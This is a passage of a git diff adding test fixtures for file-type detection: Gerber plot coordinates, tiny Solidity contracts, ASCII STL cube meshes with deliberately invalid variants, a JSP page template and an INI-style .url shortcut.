+X0081000Y0318500D03*
+X0081000Y0330500D03*
+X0081000Y0336000D03*
+X0077000Y0336000D03*
+X0073000Y0336000D03*
+X0069000Y0336000D03*
+X0069000Y0330500D03*
+X0113000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0356540D02*
+X0094510Y0356540D01*
+X0107490Y0356540D02*
+X0107490Y0349460D01*
+X0094510Y0349460D01*
+X0094510Y0356540D01*
+X0105140Y0356540D02*
+X0105140Y0349460D01*
+X0102790Y0349460D02*
+X0102790Y0356540D01*
+X0100440Y0356540D02*
+X0100440Y0349460D01*
+X0098090Y0349460D02*
+X0098090Y0356540D01*
+X0095740Y0356540D02*
+X0095740Y0349460D01*
+X0094510Y0366460D02*
+X0107490Y0366460D01*
+X0094510Y0366460D02*
+X0094510Y0373540D01*
+X0107490Y0373540D01*
+X0107490Y0366460D01*
+X0105140Y0366460D02*
+X0105140Y0373540D01*
+X0102790Y0373540D02*
+X0102790Y0366460D01*
+X0100440Y0366460D02*
+X0100440Y0373540D01*
+X0098090Y0373540D02*
+X0098090Y0366460D01*
+X0095740Y0366460D02*
+X0095740Y0373540D01*
+D17*
+X0107000Y0350000D03*
+X0103000Y0350000D03*
+X0099000Y0350000D03*
+X0095000Y0350000D03*
+X0095000Y0355500D03*
+X0107000Y0355500D03*
+X0107000Y0367500D03*
+X0107000Y0373000D03*
+X0103000Y0373000D03*
+X0099000Y0373000D03*
+X0095000Y0373000D03*
+X0095000Y0367500D03*
+X0061000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0319540D02*
+X0042510Y0319540D01*
+X0055490Y0319540D02*
+X0055490Y0312460D01*
+X0042510Y0312460D01*
+X0042510Y0319540D01*
+X0053140Y0319540D02*
+X0053140Y0312460D01*
+X0050790Y0312460D02*
+X0050790Y0319540D01*
+X0048440Y0319540D02*
+X0048440Y0312460D01*
+X0046090Y0312460D02*
+X0046090Y0319540D01*
+X0043740Y0319540D02*
+X0043740Y0312460D01*
+X0042510Y0329460D02*
+X0055490Y0329460D01*
+X0042510Y0329460D02*
+X0042510Y0336540D01*
+X0055490Y0336540D01*
+X0055490Y0329460D01*
+X0053140Y0329460D02*
+X0053140Y0336540D01*
+X0050790Y0336540D02*
+X0050790Y0329460D01*
+X0048440Y0329460D02*
+X0048440Y0336540D01*
+X0046090Y0336540D02*
+X0046090Y0329460D01*
+X0043740Y0329460D02*
+X0043740Y0336540D01*
+D17*
+X0055000Y0313000D03*
+X0051000Y0313000D03*
+X0047000Y0313000D03*
+X0043000Y0313000D03*
+X0043000Y0318500D03*
+X0055000Y0318500D03*
+X0055000Y0330500D03*
+X0055000Y0336000D03*
+X0051000Y0336000D03*
+X0047000Y0336000D03*
+X0043000Y0336000D03*
+X0043000Y0330500D03*
+X0087000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0356540D02*
+X0068510Y0356540D01*
+X0081490Y0356540D02*
+X0081490Y0349460D01*
+X0068510Y0349460D01*
+X0068510Y0356540D01*
+X0079140Y0356540D02*
+X0079140Y0349460D01*
+X0076790Y0349460D02*
+X0076790Y0356540D01*
+X0074440Y0356540D02*
+X0074440Y0349460D01*
+X0072090Y0349460D02*
+X0072090Y0356540D01*
+X0069740Y0356540D02*
+X0069740Y0349460D01*
+X0068510Y0366460D02*
+X0081490Y0366460D01*
+X0068510Y0366460D02*
+X0068510Y0373540D01*
+X0081490Y0373540D01*
+X0081490Y0366460D01*
+X0079140Y0366460D02*
+X0079140Y0373540D01*
+X0076790Y0373540D02*
+X0076790Y0366460D01*
+X0074440Y0366460D02*
+X0074440Y0373540D01*
+X0072090Y0373540D02*
+X0072090Y0366460D01*
+X0069740Y0366460D02*
+X0069740Y0373540D01*
+D17*
+X0081000Y0350000D03*
+X0077000Y0350000D03*
+X0073000Y0350000D03*
+X0069000Y0350000D03*
+X0069000Y0355500D03*
+X0081000Y0355500D03*
+X0081000Y0367500D03*
+X0081000Y0373000D03*
+X0077000Y0373000D03*
+X0073000Y0373000D03*
+X0069000Y0373000D03*
+X0069000Y0367500D03*
+X0061000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0356540D02*
+X0042510Y0356540D01*
+X0055490Y0356540D02*
+X0055490Y0349460D01*
+X0042510Y0349460D01*
+X0042510Y0356540D01*
+X0053140Y0356540D02*
+X0053140Y0349460D01*
+X0050790Y0349460D02*
+X0050790Y0356540D01*
+X0048440Y0356540D02*
+X0048440Y0349460D01*
+X0046090Y0349460D02*
+X0046090Y0356540D01*
+X0043740Y0356540D02*
+X0043740Y0349460D01*
+X0042510Y0366460D02*
+X0055490Y0366460D01*
+X0042510Y0366460D02*
+X0042510Y0373540D01*
+X0055490Y0373540D01*
+X0055490Y0366460D01*
+X0053140Y0366460D02*
+X0053140Y0373540D01*
+X0050790Y0373540D02*
+X0050790Y0366460D01*
+X0048440Y0366460D02*
+X0048440Y0373540D01*
+X0046090Y0373540D02*
+X0046090Y0366460D01*
+X0043740Y0366460D02*
+X0043740Y0373540D01*
+D17*
+X0055000Y0350000D03*
+X0051000Y0350000D03*
+X0047000Y0350000D03*
+X0043000Y0350000D03*
+X0043000Y0355500D03*
+X0055000Y0355500D03*
+X0055000Y0367500D03*
+X0055000Y0373000D03*
+X0051000Y0373000D03*
+X0047000Y0373000D03*
+X0043000Y0373000D03*
+X0043000Y0367500D03*
+X0035000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0319540D02*
+X0016510Y0319540D01*
+X0029490Y0319540D02*
+X0029490Y0312460D01*
+X0016510Y0312460D01*
+X0016510Y0319540D01*
+X0027140Y0319540D02*
+X0027140Y0312460D01*
+X0024790Y0312460D02*
+X0024790Y0319540D01*
+X0022440Y0319540D02*
+X0022440Y0312460D01*
+X0020090Y0312460D02*
+X0020090Y0319540D01*
+X0017740Y0319540D02*
+X0017740Y0312460D01*
+X0016510Y0329460D02*
+X0029490Y0329460D01*
+X0016510Y0329460D02*
+X0016510Y0336540D01*
+X0029490Y0336540D01*
+X0029490Y0329460D01*
+X0027140Y0329460D02*
+X0027140Y0336540D01*
+X0024790Y0336540D02*
+X0024790Y0329460D01*
+X0022440Y0329460D02*
+X0022440Y0336540D01*
+X0020090Y0336540D02*
+X0020090Y0329460D01*
+X0017740Y0329460D02*
+X0017740Y0336540D01*
+D17*
+X0029000Y0313000D03*
+X0025000Y0313000D03*
+X0021000Y0313000D03*
+X0017000Y0313000D03*
+X0017000Y0318500D03*
+X0029000Y0318500D03*
+X0029000Y0330500D03*
+X0029000Y0336000D03*
+X0025000Y0336000D03*
+X0021000Y0336000D03*
+X0017000Y0336000D03*
+X0017000Y0330500D03*
+X0035000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0356540D02*
+X0016510Y0356540D01*
+X0029490Y0356540D02*
+X0029490Y0349460D01*
+X0016510Y0349460D01*
+X0016510Y0356540D01*
+X0027140Y0356540D02*
+X0027140Y0349460D01*
+X0024790Y0349460D02*
+X0024790Y0356540D01*
+X0022440Y0356540D02*
+X0022440Y0349460D01*
+X0020090Y0349460D02*
+X0020090Y0356540D01*
+X0017740Y0356540D02*
+X0017740Y0349460D01*
+X0016510Y0366460D02*
+X0029490Y0366460D01*
+X0016510Y0366460D02*
+X0016510Y0373540D01*
+X0029490Y0373540D01*
+X0029490Y0366460D01*
+X0027140Y0366460D02*
+X0027140Y0373540D01*
+X0024790Y0373540D02*
+X0024790Y0366460D01*
+X0022440Y0366460D02*
+X0022440Y0373540D01*
+X0020090Y0373540D02*
+X0020090Y0366460D01*
+X0017740Y0366460D02*
+X0017740Y0373540D01*
+D17*
+X0029000Y0350000D03*
+X0025000Y0350000D03*
+X0021000Y0350000D03*
+X0017000Y0350000D03*
+X0017000Y0355500D03*
+X0029000Y0355500D03*
+X0029000Y0367500D03*
+X0029000Y0373000D03*
+X0025000Y0373000D03*
+X0021000Y0373000D03*
+X0017000Y0373000D03*
+X0017000Y0367500D03*
+X0141000Y0307000D02*
+G75*
+%LPD*%
+X0269000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0319540D02*
+X0250510Y0319540D01*
+X0263490Y0319540D02*
+X0263490Y0312460D01*
+X0250510Y0312460D01*
+X0250510Y0319540D01*
+X0261140Y0319540D02*
+X0261140Y0312460D01*
+X0258790Y0312460D02*
+X0258790Y0319540D01*
+X0256440Y0319540D02*
+X0256440Y0312460D01*
+X0254090Y0312460D02*
+X0254090Y0319540D01*
+X0251740Y0319540D02*
+X0251740Y0312460D01*
+X0250510Y0329460D02*
+X0263490Y0329460D01*
+X0250510Y0329460D02*
+X0250510Y0336540D01*
+X0263490Y0336540D01*
+X0263490Y0329460D01*
+X0261140Y0329460D02*
+X0261140Y0336540D01*
+X0258790Y0336540D02*
+X0258790Y0329460D01*
+X0256440Y0329460D02*
+X0256440Y0336540D01*
+X0254090Y0336540D02*
+X0254090Y0329460D01*
+X0251740Y0329460D02*
+X0251740Y0336540D01*
+D17*
+X0263000Y0313000D03*
+X0259000Y0313000D03*
+X0255000Y0313000D03*
+X0251000Y0313000D03*
+X0251000Y0318500D03*
+X0263000Y0318500D03*
+X0263000Y0330500D03*
+X0263000Y0336000D03*
+X0259000Y0336000D03*
+X0255000Y0336000D03*
+X0251000Y0336000D03*
+X0251000Y0330500D03*
+X0243000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0319540D02*
+X0224510Y0319540D01*
+X0237490Y0319540D02*
+X0237490Y0312460D01*
+X0224510Y0312460D01*
+X0224510Y0319540D01*
+X0235140Y0319540D02*
+X0235140Y0312460D01*
+X0232790Y0312460D02*
+X0232790Y0319540D01*
+X0230440Y0319540D02*
+X0230440Y0312460D01*
+X0228090Y0312460D02*
+X0228090Y0319540D01*
+X0225740Y0319540D02*
+X0225740Y0312460D01*
+X0224510Y0329460D02*
+X0237490Y0329460D01*
+X0224510Y0329460D02*
+X0224510Y0336540D01*
+X0237490Y0336540D01*
+X0237490Y0329460D01*
+X0235140Y0329460D02*
+X0235140Y0336540D01*
+X0232790Y0336540D02*
+X0232790Y0329460D01*
+X0230440Y0329460D02*
+X0230440Y0336540D01*
+X0228090Y0336540D02*
+X0228090Y0329460D01*
+X0225740Y0329460D02*
+X0225740Y0336540D01*
+D17*
+X0237000Y0313000D03*
+X0233000Y0313000D03*
+X0229000Y0313000D03*
+X0225000Y0313000D03*
+X0225000Y0318500D03*
+X0237000Y0318500D03*
+X0237000Y0330500D03*
+X0237000Y0336000D03*
+X0233000Y0336000D03*
+X0229000Y0336000D03*
+X0225000Y0336000D03*
+X0225000Y0330500D03*
+X0269000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0356540D02*
+X0250510Y0356540D01*
+X0263490Y0356540D02*
+X0263490Y0349460D01*
+X0250510Y0349460D01*
+X0250510Y0356540D01*
+X0261140Y0356540D02*
+X0261140Y0349460D01*
+X0258790Y0349460D02*
+X0258790Y0356540D01*
+X0256440Y0356540D02*
+X0256440Y0349460D01*
+X0254090Y0349460D02*
+X0254090Y0356540D01*
+X0251740Y0356540D02*
+X0251740Y0349460D01*
+X0250510Y0366460D02*
+X0263490Y0366460D01*
+X0250510Y0366460D02*
+X0250510Y0373540D01*
+X0263490Y0373540D01*
+X0263490Y0366460D01*
+X0261140Y0366460D02*
+X0261140Y0373540D01*
+X0258790Y0373540D02*
+X0258790Y0366460D01*
+X0256440Y0366460D02*
+X0256440Y0373540D01*
+X0254090Y0373540D02*
+X0254090Y0366460D01*
+X0251740Y0366460D02*
+X0251740Y0373540D01*
+D17*
+X0263000Y0350000D03*
+X0259000Y0350000D03*
+X0255000Y0350000D03*
+X0251000Y0350000D03*
+X0251000Y0355500D03*
+X0263000Y0355500D03*
+X0263000Y0367500D03*
+X0263000Y0373000D03*
+X0259000Y0373000D03*
+X0255000Y0373000D03*
+X0251000Y0373000D03*
+X0251000Y0367500D03*
+X0217000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0319540D02*
+X0198510Y0319540D01*
+X0211490Y0319540D02*
+X0211490Y0312460D01*
+X0198510Y0312460D01*
+X0198510Y0319540D01*
+X0209140Y0319540D02*
+X0209140Y0312460D01*
+X0206790Y0312460D02*
+X0206790Y0319540D01*
+X0204440Y0319540D02*
+X0204440Y0312460D01*
+X0202090Y0312460D02*
+X0202090Y0319540D01*
+X0199740Y0319540D02*
+X0199740Y0312460D01*
+X0198510Y0329460D02*
+X0211490Y0329460D01*
+X0198510Y0329460D02*
+X0198510Y0336540D01*
+X0211490Y0336540D01*
+X0211490Y0329460D01*
+X0209140Y0329460D02*
+X0209140Y0336540D01*
+X0206790Y0336540D02*
+X0206790Y0329460D01*
+X0204440Y0329460D02*
+X0204440Y0336540D01*
+X0202090Y0336540D02*
+X0202090Y0329460D01*
+X0199740Y0329460D02*
+X0199740Y0336540D01*
+D17*
+X0211000Y0313000D03*
+X0207000Y0313000D03*
+X0203000Y0313000D03*
+X0199000Y0313000D03*
+X0199000Y0318500D03*
+X0211000Y0318500D03*
+X0211000Y0330500D03*
+X0211000Y0336000D03*
+X0207000Y0336000D03*
+X0203000Y0336000D03*
+X0199000Y0336000D03*
+X0199000Y0330500D03*
+X0243000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0356540D02*
+X0224510Y0356540D01*
+X0237490Y0356540D02*
+X0237490Y0349460D01*
+X0224510Y0349460D01*
+X0224510Y0356540D01*
+X0235140Y0356540D02*
+X0235140Y0349460D01*
+X0232790Y0349460D02*
+X0232790Y0356540D01*
+X0230440Y0356540D02*
+X0230440Y0349460D01*
+X0228090Y0349460D02*
+X0228090Y0356540D01*
+X0225740Y0356540D02*
+X0225740Y0349460D01*
+X0224510Y0366460D02*
+X0237490Y0366460D01*
+X0224510Y0366460D02*
+X0224510Y0373540D01*
+X0237490Y0373540D01*
+X0237490Y0366460D01*
+X0235140Y0366460D02*
+X0235140Y0373540D01*
+X0232790Y0373540D02*
+X0232790Y0366460D01*
+X0230440Y0366460D02*
+X0230440Y0373540D01*
+X0228090Y0373540D02*
+X0228090Y0366460D01*
+X0225740Y0366460D02*
+X0225740Y0373540D01*
+D17*
+X0237000Y0350000D03*
+X0233000Y0350000D03*
+X0229000Y0350000D03*
+X0225000Y0350000D03*
+X0225000Y0355500D03*
+X0237000Y0355500D03*
+X0237000Y0367500D03*
+X0237000Y0373000D03*
+X0233000Y0373000D03*
+X0229000Y0373000D03*
+X0225000Y0373000D03*
+X0225000Y0367500D03*
+X0191000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0319540D02*
+X0172510Y0319540D01*
+X0185490Y0319540D02*
+X0185490Y0312460D01*
+X0172510Y0312460D01*
+X0172510Y0319540D01*
+X0183140Y0319540D02*
+X0183140Y0312460D01*
+X0180790Y0312460D02*
+X0180790Y0319540D01*
+X0178440Y0319540D02*
+X0178440Y0312460D01*
+X0176090Y0312460D02*
+X0176090Y0319540D01*
+X0173740Y0319540D02*
+X0173740Y0312460D01*
+X0172510Y0329460D02*
+X0185490Y0329460D01*
+X0172510Y0329460D02*
+X0172510Y0336540D01*
+X0185490Y0336540D01*
+X0185490Y0329460D01*
+X0183140Y0329460D02*
+X0183140Y0336540D01*
+X0180790Y0336540D02*
+X0180790Y0329460D01*
+X0178440Y0329460D02*
+X0178440Y0336540D01*
+X0176090Y0336540D02*
+X0176090Y0329460D01*
+X0173740Y0329460D02*
+X0173740Y0336540D01*
+D17*
+X0185000Y0313000D03*
+X0181000Y0313000D03*
+X0177000Y0313000D03*
+X0173000Y0313000D03*
+X0173000Y0318500D03*
+X0185000Y0318500D03*
+X0185000Y0330500D03*
+X0185000Y0336000D03*
+X0181000Y0336000D03*
+X0177000Y0336000D03*
+X0173000Y0336000D03*
+X0173000Y0330500D03*
+X0217000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0356540D02*
+X0198510Y0356540D01*
+X0211490Y0356540D02*
+X0211490Y0349460D01*
+X0198510Y0349460D01*
+X0198510Y0356540D01*
+X0209140Y0356540D02*
+X0209140Y0349460D01*
+X0206790Y0349460D02*
+X0206790Y0356540D01*
+X0204440Y0356540D02*
+X0204440Y0349460D01*
+X0202090Y0349460D02*
+X0202090Y0356540D01*
+X0199740Y0356540D02*
+X0199740Y0349460D01*
+X0198510Y0366460D02*
+X0211490Y0366460D01*
+X0198510Y0366460D02*
+X0198510Y0373540D01*
+X0211490Y0373540D01*
+X0211490Y0366460D01*
+X0209140Y0366460D02*
+X0209140Y0373540D01*
+X0206790Y0373540D02*
+X0206790Y0366460D01*
+X0204440Y0366460D02*
+X0204440Y0373540D01*
+X0202090Y0373540D02*
+X0202090Y0366460D01*
+X0199740Y0366460D02*
+X0199740Y0373540D01*
+D17*
+X0211000Y0350000D03*
+X0207000Y0350000D03*
+X0203000Y0350000D03*
+X0199000Y0350000D03*
+X0199000Y0355500D03*
+X0211000Y0355500D03*
+X0211000Y0367500D03*
+X0211000Y0373000D03*
+X0207000Y0373000D03*
+X0203000Y0373000D03*
+X0199000Y0373000D03*
+X0199000Y0367500D03*
+X0191000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0356540D02*
+X0172510Y0356540D01*
+X0185490Y0356540D02*
+X0185490Y0349460D01*
+X0172510Y0349460D01*
+X0172510Y0356540D01*
+X0183140Y0356540D02*
+X0183140Y0349460D01*
+X0180790Y0349460D02*
+X0180790Y0356540D01*
+X0178440Y0356540D02*
+X0178440Y0349460D01*
+X0176090Y0349460D02*
+X0176090Y0356540D01*
+X0173740Y0356540D02*
+X0173740Y0349460D01*
+X0172510Y0366460D02*
+X0185490Y0366460D01*
+X0172510Y0366460D02*
+X0172510Y0373540D01*
+X0185490Y0373540D01*
+X0185490Y0366460D01*
+X0183140Y0366460D02*
+X0183140Y0373540D01*
+X0180790Y0373540D02*
+X0180790Y0366460D01*
+X0178440Y0366460D02*
+X0178440Y0373540D01*
+X0176090Y0373540D02*
+X0176090Y0366460D01*
+X0173740Y0366460D02*
+X0173740Y0373540D01*
+D17*
+X0185000Y0350000D03*
+X0181000Y0350000D03*
+X0177000Y0350000D03*
+X0173000Y0350000D03*
+X0173000Y0355500D03*
+X0185000Y0355500D03*
+X0185000Y0367500D03*
+X0185000Y0373000D03*
+X0181000Y0373000D03*
+X0177000Y0373000D03*
+X0173000Y0373000D03*
+X0173000Y0367500D03*
+X0165000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0319540D02*
+X0146510Y0319540D01*
+X0159490Y0319540D02*
+X0159490Y0312460D01*
+X0146510Y0312460D01*
+X0146510Y0319540D01*
+X0157140Y0319540D02*
+X0157140Y0312460D01*
+X0154790Y0312460D02*
+X0154790Y0319540D01*
+X0152440Y0319540D02*
+X0152440Y0312460D01*
+X0150090Y0312460D02*
+X0150090Y0319540D01*
+X0147740Y0319540D02*
+X0147740Y0312460D01*
+X0146510Y0329460D02*
+X0159490Y0329460D01*
+X0146510Y0329460D02*
+X0146510Y0336540D01*
+X0159490Y0336540D01*
+X0159490Y0329460D01*
+X0157140Y0329460D02*
+X0157140Y0336540D01*
+X0154790Y0336540D02*
+X0154790Y0329460D01*
+X0152440Y0329460D02*
+X0152440Y0336540D01*
+X0150090Y0336540D02*
+X0150090Y0329460D01*
+X0147740Y0329460D02*
+X0147740Y0336540D01*
+D17*
+X0159000Y0313000D03*
+X0155000Y0313000D03*
+X0151000Y0313000D03*
+X0147000Y0313000D03*
+X0147000Y0318500D03*
+X0159000Y0318500D03*
+X0159000Y0330500D03*
+X0159000Y0336000D03*
+X0155000Y0336000D03*
+X0151000Y0336000D03*
+X0147000Y0336000D03*
+X0147000Y0330500D03*
+X0165000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0356540D02*
+X0146510Y0356540D01*
+X0159490Y0356540D02*
+X0159490Y0349460D01*
+X0146510Y0349460D01*
+X0146510Y0356540D01*
+X0157140Y0356540D02*
+X0157140Y0349460D01*
+X0154790Y0349460D02*
+X0154790Y0356540D01*
+X0152440Y0356540D02*
+X0152440Y0349460D01*
+X0150090Y0349460D02*
+X0150090Y0356540D01*
+X0147740Y0356540D02*
+X0147740Y0349460D01*
+X0146510Y0366460D02*
+X0159490Y0366460D01*
+X0146510Y0366460D02*
+X0146510Y0373540D01*
+X0159490Y0373540D01*
+X0159490Y0366460D01*
+X0157140Y0366460D02*
+X0157140Y0373540D01*
+X0154790Y0373540D02*
+X0154790Y0366460D01*
+X0152440Y0366460D02*
+X0152440Y0373540D01*
+X0150090Y0373540D02*
+X0150090Y0366460D01*
+X0147740Y0366460D02*
+X0147740Y0373540D01*
+D17*
+X0159000Y0350000D03*
+X0155000Y0350000D03*
+X0151000Y0350000D03*
+X0147000Y0350000D03*
+X0147000Y0355500D03*
+X0159000Y0355500D03*
+X0159000Y0367500D03*
+X0159000Y0373000D03*
+X0155000Y0373000D03*
+X0151000Y0373000D03*
+X0147000Y0373000D03*
+X0147000Y0367500D03*
+M02*
diff --git a/test/fixtures/Generic/sol/Solidity/legacy1.sol b/test/fixtures/Generic/sol/Solidity/legacy1.sol
new file mode 100644
index 0000000000..6d6fbd3361
--- /dev/null
+++ b/test/fixtures/Generic/sol/Solidity/legacy1.sol
@@ -0,0 +1,3 @@
+contract Foo {
+
+}
diff --git a/test/fixtures/Generic/sol/Solidity/legacy2.sol b/test/fixtures/Generic/sol/Solidity/legacy2.sol
new file mode 100644
index 0000000000..0a8ca5cb9e
--- /dev/null
+++ b/test/fixtures/Generic/sol/Solidity/legacy2.sol
@@ -0,0 +1,3 @@
+contract Foo is Bar, Baz, Qux {
+
+}
diff --git a/test/fixtures/Generic/sol/Solidity/modern.sol b/test/fixtures/Generic/sol/Solidity/modern.sol
new file mode 100644
index 0000000000..00f81903d7
--- /dev/null
+++ b/test/fixtures/Generic/sol/Solidity/modern.sol
@@ -0,0 +1 @@
+pragma solidity >=0.4.0;
diff --git a/test/fixtures/Generic/sol/nil/ignored1.sol b/test/fixtures/Generic/sol/nil/ignored1.sol
new file mode 100644
index 0000000000..3658d2c899
--- /dev/null
+++ b/test/fixtures/Generic/sol/nil/ignored1.sol
@@ -0,0 +1 @@
+Not a Solidity file.
diff --git a/test/fixtures/Generic/sol/nil/ignored2.sol b/test/fixtures/Generic/sol/nil/ignored2.sol
new file mode 100644
index 0000000000..44b2acfb5e
--- /dev/null
+++ b/test/fixtures/Generic/sol/nil/ignored2.sol
@@ -0,0 +1,3 @@
+contract {
+	// Invalid Solidity file (missing identifier)
+}
diff --git a/test/fixtures/Generic/stl/STL/cube1.stl b/test/fixtures/Generic/stl/STL/cube1.stl
new file mode 100644
index 0000000000..c542311454
--- /dev/null
+++ b/test/fixtures/Generic/stl/STL/cube1.stl
@@ -0,0 +1,30 @@
+solid cube_corner
+	facet normal 0.0 -1.0 0.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 1.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
+	facet normal 0.0 0.0 -1.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 1.0 0.0 0.0
+		endloop
+	endfacet
+	facet normal -1.0 0.0 0.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+			vertex 0.0 1.0 0.0
+		endloop
+	endfacet
+	facet normal 0.577 0.577 0.577
+		outer loop
+			vertex 1.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
+endsolid
diff --git a/test/fixtures/Data/cube.stl b/test/fixtures/Generic/stl/STL/cube2.stl
similarity index 100%
rename from test/fixtures/Data/cube.stl
rename to test/fixtures/Generic/stl/STL/cube2.stl
diff --git a/test/fixtures/Generic/stl/STL/cube3.stl b/test/fixtures/Generic/stl/STL/cube3.stl
new file mode 100644
index 0000000000..621892a7a1
--- /dev/null
+++ b/test/fixtures/Generic/stl/STL/cube3.stl
@@ -0,0 +1,30 @@
+solid
+	facet
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 1.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
+	facet
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 1.0 0.0 0.0
+		endloop
+	endfacet
+	facet
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+			vertex 0.0 1.0 0.0
+		endloop
+	endfacet
+	facet
+		outer loop
+			vertex 1.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
+endsolid
diff --git a/test/fixtures/Generic/stl/nil/coords.stl b/test/fixtures/Generic/stl/nil/coords.stl
new file mode 100644
index 0000000000..e96d98f38e
--- /dev/null
+++ b/test/fixtures/Generic/stl/nil/coords.stl
@@ -0,0 +1,3 @@
+vertex -35.853 54.34 4.5
+vertex -35.838 53.9 23.5
+vertex -34.431 54.0 6.53
diff --git a/test/fixtures/Generic/stl/nil/invalid1.stl b/test/fixtures/Generic/stl/nil/invalid1.stl
new file mode 100644
index 0000000000..ca592aab16
--- /dev/null
+++ b/test/fixtures/Generic/stl/nil/invalid1.stl
@@ -0,0 +1,30 @@
+Invalid STL: Missing header
+	facet normal 0.0 -1.0 0.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 1.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
+	facet normal 0.0 0.0 -1.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 1.0 0.0 0.0
+		endloop
+	endfacet
+	facet normal -1.0 0.0 0.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+			vertex 0.0 1.0 0.0
+		endloop
+	endfacet
+	facet normal 0.577 0.577 0.577
+		outer loop
+			vertex 1.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
+endsolid
diff --git a/test/fixtures/Generic/stl/nil/invalid2.stl b/test/fixtures/Generic/stl/nil/invalid2.stl
new file mode 100644
index 0000000000..92ce4a6237
--- /dev/null
+++ b/test/fixtures/Generic/stl/nil/invalid2.stl
@@ -0,0 +1,29 @@
+solid cube_corner Invalid STL: Missing footer
+	facet normal 0.0 -1.0 0.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 1.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
+	facet normal 0.0 0.0 -1.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 1.0 0.0 0.0
+		endloop
+	endfacet
+	facet normal -1.0 0.0 0.0
+		outer loop
+			vertex 0.0 0.0 0.0
+			vertex 0.0 0.0 1.0
+			vertex 0.0 1.0 0.0
+		endloop
+	endfacet
+	facet normal 0.577 0.577 0.577
+		outer loop
+			vertex 1.0 0.0 0.0
+			vertex 0.0 1.0 0.0
+			vertex 0.0 0.0 1.0
+		endloop
+	endfacet
diff --git a/test/fixtures/Generic/stl/nil/unrelated.stl b/test/fixtures/Generic/stl/nil/unrelated.stl
new file mode 100644
index 0000000000..ca7ba77e71
--- /dev/null
+++ b/test/fixtures/Generic/stl/nil/unrelated.stl
@@ -0,0 +1 @@
+This file contains the keywords "solid and endsolid", but in a context unrelated to stereolithography.
diff --git a/test/fixtures/Generic/tag/Java Server Pages/skeleton_page.tag b/test/fixtures/Generic/tag/Java Server Pages/skeleton_page.tag
new file mode 100644
index 0000000000..123617b7ac
--- /dev/null
+++ b/test/fixtures/Generic/tag/Java Server Pages/skeleton_page.tag	
@@ -0,0 +1,33 @@
+<%@ tag language="java" pageEncoding="ISO-8859-1"
+	description="Base Page"%>
+<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
+
+<!DOCTYPE html>
+<html>
+
+<head>
+<meta charset='utf-8'>
+<title>WavyArch</title>
+<meta http-equiv="X-UA-Compatible" content="ie=edge">
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+<meta name='viewport' content='width=device-width, initial-scale=1'
+	, shrink-to-fit=no>
+<link rel="shortcut icon"
+	href="<c:url value="/resources/img/logo.svg"/>" type="image/x-icon">
+<link rel="stylesheet"
+	href="<c:url value="/resources/css/bootstrap.min.css"/>">
+<link rel="stylesheet" href="<c:url value="/resources/css/all.css"/>">
+<link rel="stylesheet" href="<c:url value="/resources/css/main.css"/>">
+</head>
+
+<body>
+	<jsp:doBody />
+
+	<script src="<c:url value="/resources/js/jquery-3.5.1.slim.min.js"/>"></script>
+	<script src="<c:url value="/resources/js/popper.min.js"/>"></script>
+	<script src="<c:url value="/resources/js/bootstrap.min.js"/>"></script>
+	<script src="<c:url value="/resources/js/validation.js"/>"></script>
+	<script src="<c:url value="/resources/js/main.js"/>"></script>
+</body>
+
+</html>
\ No newline at end of file
diff --git a/test/fixtures/Generic/tag/nil/ignored.tag b/test/fixtures/Generic/tag/nil/ignored.tag
new file mode 100644
index 0000000000..ab115490ac
--- /dev/null
+++ b/test/fixtures/Generic/tag/nil/ignored.tag
@@ -0,0 +1 @@
+Not a JSP tag file
\ No newline at end of file
diff --git a/test/fixtures/Generic/url/INI/extended.url b/test/fixtures/Generic/url/INI/extended.url
new file mode 100644
index 0000000000..8fdab8e91e
--- /dev/null
+++ b/test/fixtures/Generic/url/INI/extended.url
@@ -0,0 +1,10 @@
+[DEFAULT]
+BASEURL=http://www.someaddress.com
+[DOC#4#5]
+BASEURL=http://www.someaddress.com/frame1.html
+ORIGURL=frame1.html
+[DOC#4#6]
+BASEURL=http://www.someaddress.com/frame2.html
+ORIGURL=frame2.html
